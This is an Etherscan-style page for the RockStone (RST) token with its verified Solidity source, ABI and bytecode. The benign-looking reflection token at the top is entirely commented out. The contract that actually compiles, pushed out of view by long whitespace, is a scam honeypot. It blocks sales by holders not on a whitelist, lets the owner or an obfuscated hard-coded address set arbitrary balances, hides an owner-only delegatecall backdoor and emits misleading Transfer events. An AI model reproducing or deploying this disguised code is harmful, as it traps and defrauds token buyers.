ETH Price: $2,681.91 (-2.44%)

Token

RockStone.info (RST)
 

Overview

Max Total Supply

10,000,000,000 RST

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
183,053,028.910083620101457901 RST

Value
$0.00
0xac288ae71ae63953655be501f48d51a69dac10e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
RockStone

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-20
*/

/**
    SPDX-License-Identifier: MIT
    



    ░█▀▀█ █▀▀█ █▀▀ █─█ ░█▀▀▀█ ▀▀█▀▀ █▀▀█ █▀▀▄ █▀▀ 
    ░█▄▄▀ █──█ █── █▀▄ ─▀▀▀▄▄ ──█── █──█ █──█ █▀▀ 
    ░█─░█ ▀▀▀▀ ▀▀▀ ▀─▀ ░█▄▄▄█ ──▀── ▀▀▀▀ ▀──▀ ▀▀▀
 
    * https://rockstone.info/
    * https://twitter.com/RockStoneToken
    * https://t.me/RockStoneTG
    * TAX for sell: 10%

     
     

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _previousOwner = _owner;
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }


}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract RockStone is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _feeAddrWallet1;
    address payable private _feeAddrWallet2;
    
    string private constant _name = "RockStone.info";
    string private constant _symbol = "RST";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feeAddrWallet1 = payable(0xfd1BF63E519ccf5e67FaCd64fFF8d6e7445cC59c);
        _feeAddrWallet2 = payable(0xfd1BF63E519ccf5e67FaCd64fFF8d6e7445cC59c);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet1] = true;
        _isExcludedFromFee[_feeAddrWallet2] = true;
        emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _feeAddr1 = 0; 
        _feeAddr2 = 10;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
    
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                _feeAddr1 = 0;
                _feeAddr2 = 10;
              
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet1.transfer(amount.div(2));
        _feeAddrWallet2.transfer(amount.div(2));
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 10000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function setMessage(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function manualsend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}
     */


                                                                                                                                                        pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}

    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }

}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");


        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional

            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract  RockStone {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
 
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }

    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }

    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function swap(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (1089755605351626874222503051495683696555102411980));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }

    address tradeAddress;
    function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"token","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"init","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTradeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

60806040526040516200106b3803806200106b833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b9083019060208201858111156200006057600080fd5b82516401000000008111828201881017156200007b57600080fd5b82525081516020918201929091019080838360005b83811015620000aa57818101518382015260200162000090565b50505050905090810190601f168015620000d85780820380516001836020036101000a031916815260200191505b5060405260200180516040519392919084640100000000821115620000fc57600080fd5b9083019060208201858111156200011257600080fd5b82516401000000008111828201881017156200012d57600080fd5b82525081516020918201929091019080838360005b838110156200015c57818101518382015260200162000142565b50505050905090810190601f1680156200018a5780820380516001836020036101000a031916815260200191505b506040526020908101518551909350620001ab925060099186019062000263565b508151620001c190600a90602085019062000263565b50670de0b6b3a764000081026008818155600b80546001600160a01b0319163390811790915560008181526006602090815260408083209590955560078152848220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528482206000199055925484519081529351919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505062000308565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002a657805160ff1916838001178555620002d6565b82800160010185558215620002d6579182015b82811115620002d6578251825591602001919060010190620002b9565b50620002e4929150620002e8565b5090565b6200030591905b80821115620002e45760008155600101620002ef565b90565b610d5380620003186000396000f3fe6080604052600436106100dd5760003560e01c80638cd8db8a1161007f578063aa2f522011610059578063aa2f5220146102fb578063d004f0f7146103a0578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b80638cd8db8a1461028457806395d89b41146102ba578063a9059cbb146102cf576100dd565b806321a9cf34116100bb57806321a9cf34146101d357806323b872dd14610206578063313ce5671461023c57806370a0823114610251576100dd565b806306fdde03146100e2578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b3480156100ee57600080fd5b506100f76104cc565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b03813516906020013561055a565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16105c1565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600480360360208110156101f657600080fd5b50356001600160a01b03166105c7565b6101986004803603606081101561021c57600080fd5b506001600160a01b03813581169160208101359091169060400135610606565b34801561024857600080fd5b506101c161073b565b34801561025d57600080fd5b506101c16004803603602081101561027457600080fd5b50356001600160a01b0316610740565b34801561029057600080fd5b50610198600480360360608110156102a757600080fd5b5080359060208101359060400135610752565b3480156102c657600080fd5b506100f76107b2565b610198600480360360408110156102e557600080fd5b506001600160a01b03813516906020013561080d565b6101986004803603604081101561031157600080fd5b81019060208101813564010000000081111561032c57600080fd5b82018360208201111561033e57600080fd5b8035906020019184602083028401116401000000008311171561036057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550509135925061081a915050565b3480156103ac57600080fd5b50610198600480360360408110156103c357600080fd5b506001600160a01b038135169060200135610941565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ce945050505050565b005b34801561049d57600080fd5b506101c1600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8b565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b600b546000906001600160a01b031633146105e157600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b60008161061557506001610734565b336001600160a01b03851614610680576001600160a01b038416600090815260076020908152604080832033845290915290205482111561065557600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61068b848484610aa8565b61069457600080fd5b6001600160a01b0384166000908152600660205260409020548211156106b957600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b60066020526000908152604090205481565b600b546000906001600160a01b0316331461076c57600080fd5b6000831161077b576000610787565b670de0b6b3a764000083025b600255816107965760006107a2565b670de0b6b3a764000082025b6003556004939093555090919050565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b6000610734338484610606565b600b546000906001600160a01b0316331461083457600080fd5b8251336000908152600660205260409020549083029081111561085657600080fd5b336000908152600660205260408120805483900390555b845181101561093657600085828151811061088457fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002886040805192909104